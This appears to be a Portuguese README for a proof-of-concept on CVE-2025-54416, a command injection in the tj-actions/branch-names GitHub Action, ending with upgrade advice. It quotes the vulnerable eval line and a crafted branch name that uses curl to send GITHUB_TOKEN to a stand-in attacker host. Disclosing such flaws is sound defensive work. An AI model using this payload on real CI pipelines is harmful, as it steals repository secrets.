
PoC para injeção de comando no tj-actions/branch-names (CVE-2025-54416)
Este repositório demonstra CVE-2025-54416, uma vulnerabilidade crítica de injeção de comandos no tj-actions/branch-names que afeta mais de 5.000 repositórios públicos.
A GitHub Action tj-actions/branch-names (versões <= 8.2.1) usa eval printf "%s" de forma insegura, o que reintroduz riscos de injeção de comandos após a sanitização adequada.
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] para extrair o nome do branchNome do branch: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
Quando o workflow é executado:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
Atualize para tj-actions/branch-names@v9 ou superior, que substitui eval printf "%s" por chamadas seguras de printf.